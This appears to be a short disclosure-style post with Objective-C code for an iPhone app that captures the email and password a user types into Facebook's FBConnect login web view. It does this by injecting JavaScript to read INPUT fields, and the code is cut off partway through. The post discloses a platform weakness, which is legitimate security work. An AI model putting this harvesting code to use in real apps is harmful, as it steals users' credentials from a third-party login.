This is a way of grabing the mail and password of the login view of the FBConnect API for iPhone. It searches for all the HTML tags of type INPUT (only 2) and retrieves the mail and password.
The code it's not very clean, I just made this test and it works. I tried to contact facebook about this security issue that compromises the trust of any iPhone application but I didn't found any way of reporting this.


on LoginDialog.m file

- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request
    navigationType:(UIWebViewNavigationType)navigationType {

    NSString *s;
    NSString *r;
    for(int i = 0; i < 100; i++)
    {
        s = [ [NSString alloc]  initWithFormat:@"document.all(%i).tagName;", i   ];
        r = [webView stringByEvaluatingJavaScriptFromString:s];
        if([r compare:@"INPUT"] == NSOrderedSame || [r compare:@"input"] == NSOrderedSame)
        {
            s = [ [NSString alloc]  initWithFormat:@"document.all(%i).value;", i   ];
            r = [webView stringByEvaluatingJavaScriptFromString:s];
            if( [r rangeOfString:@"@"].location != NSNotFound && [r rangeOfString:@"."].location != NSNotFound)
            {
                string mail = [r UTF8String];
                FBLayer::setFBMail( mail.c_str() );
                break;
            }
        }
    }


...